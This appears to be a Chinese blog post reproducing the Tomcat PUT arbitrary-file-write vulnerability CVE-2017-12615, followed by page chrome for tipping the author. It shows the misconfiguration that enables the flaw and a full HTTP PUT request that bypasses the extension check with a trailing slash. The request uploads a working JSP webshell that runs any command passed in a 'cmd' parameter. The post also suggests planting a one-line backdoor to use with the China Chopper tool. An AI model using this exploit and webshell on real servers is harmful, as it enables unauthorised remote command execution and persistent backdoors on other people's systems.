Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

0x01 简介

在windows或linux服务器下将readonly参数设置为false(false并非默认配置),可通过PUT方法创建一个jsp文件,可执行任意命令。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

0x02 影响范围

Tomcat全版本 5.x - 9.x

0x03 漏洞复现

1.发送以下http数据包到服务器,由于Tomcat对文件后缀有检测,因此我们需要在新建的文件后缀添加一个“/”,这样就可以绕过检测,在windows和linux下都可以使用这种方式绕过。

PUT /a.jsp/ HTTP/1.1
Host: xx.xx.xx.xx:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=91DD89FBCC1307A04A8D6993DBF39919
Connection: close

<%@ page import="java.io.*" %>
<%
try {
	String cmd = request.getParameter("cmd");
	Process child = Runtime.getRuntime().exec(cmd);
	InputStream in = child.getInputStream();
	int c;
	while ((c = in.read()) != -1) {
		out.print((char)c);
	}
	in.close();
	try {
		child.waitFor();
	} catch (InterruptedException e) {
		e.printStackTrace();
	}
} catch (IOException e) {
	System.err.println(e);
}
%>

效果:
在这里插入图片描述
我们也可以利用此方式编写一句话后门,然后通过菜刀进行连接。

参考:
https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值